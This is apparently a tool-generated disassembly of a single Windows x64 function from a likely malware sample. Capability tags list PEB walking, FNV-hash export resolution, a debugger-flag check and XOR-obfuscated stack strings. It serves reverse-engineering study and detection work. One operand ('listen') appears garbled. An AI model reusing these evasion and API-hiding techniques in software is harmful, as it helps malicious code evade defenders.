Function at 0x14007d010
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
xor ebp, ebp
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d0b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d0b8
mov edi, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x9aa49075
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d0b3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d090
cmp edx, 0xea213771
je 0x14007d2b6
test r8d, r8d
jne 0x14007d070
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d0cd
cmp qword [rax + 0x30], rbp
jne 0x14007d040
mov rax, rbp
call rax
test eax, eax
jne 0x14007d116
call fcn.14007c6a0
test eax, eax
jne 0x14007d116
mov rax, qword gs:[0x60]
cmp byte [rax + 2], bpl
jne 0x14007d116
call fcn.14007c890
test eax, eax
jne 0x14007d116
call fcn.14007ca10
test eax, eax
jne 0x14007d116
call fcn.14007cc10
test eax, eax
jne 0x14007d116
call fcn.14007ce10
test eax, eax
je 0x14007d1c4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d1a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d1a8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x741eaa41
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d1a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d180
cmp edx, 0x366200e1
je 0x14007d2d2
test r8d, r8d
jne 0x14007d160
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d1bd
cmp qword [rax + 0x30], rbp
jne 0x14007d130
mov rax, rbp
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d258
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d258
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x8ce5fbae
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d253
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d230
cmp edx, 0x15b6360
je 0x14007d2ee
test r8d, r8d
jne 0x14007d210
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d26d
cmp qword [rax + 0x30], rbp
jne 0x14007d1e0
mov r8, rbp
mov dword [rsp + 0x2a], 0xc000c60
lea rax, [rsp + 0x20]
mov cl, listen
mov dword [rsp + 0x26], 0x60682260
mov dword [rsp + 0x22], 0x60486965
mov word [rsp + 0x20], 0x6e5f
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x2c]
cmp rax, rcx
je 0x14007d30b
movzx ecx, byte [rsp + 0x2d]
jmp 0x14007d2a0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14007d0d0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14007d1c0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14007d270
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2c], 1
call r8
test rax, rax
je 0x14007d3d4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d3b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d3b8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x77a72d9b
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d3b3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d390
cmp edx, 0x3ea09f6b
je 0x14007d46c
test r8d, r8d
jne 0x14007d370
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d3cd
cmp qword [rax + 0x30], rbp
jne 0x14007d340
mov rax, rbp
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007d467
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007d467
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5b3844fb
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14007d462
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14007d440
cmp r8d, 0x62aa35e3
je 0x14007d488
test r9d, r9d
jne 0x14007d420
mov rax, qword [rax]
jmp 0x14007d3f0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14007d3d0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
test eax, eax
je 0x14007d554
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d538
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d538
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xd49bb7a6
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d533
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d510
cmp edx, 0x30f0100e
je 0x14007d60b
test r8d, r8d
jne 0x14007d4f0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d54d
cmp qword [rax + 0x30], rbp
jne 0x14007d4c0
mov rax, rbp
xor ecx, ecx
call rax
call fcn.14007c590
test al, al
je 0x14007d642
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14007d5f4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14007d5f4
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0xc481274e
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14007d5ef
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14007d5d0
cmp edx, 0x7b380e16
je 0x14007d627
test r8d, r8d
jne 0x14007d5b0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14007d63e
cmp qword [rax + 0x30], rbp
jne 0x14007d580
jmp 0x14007d63e
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14007d550
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebp, dword [rcx + rdx*4]
add rbp, r9
xor ecx, ecx
call rbp
mov rbx, qword [rsp + 0x40]
xor al, al
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret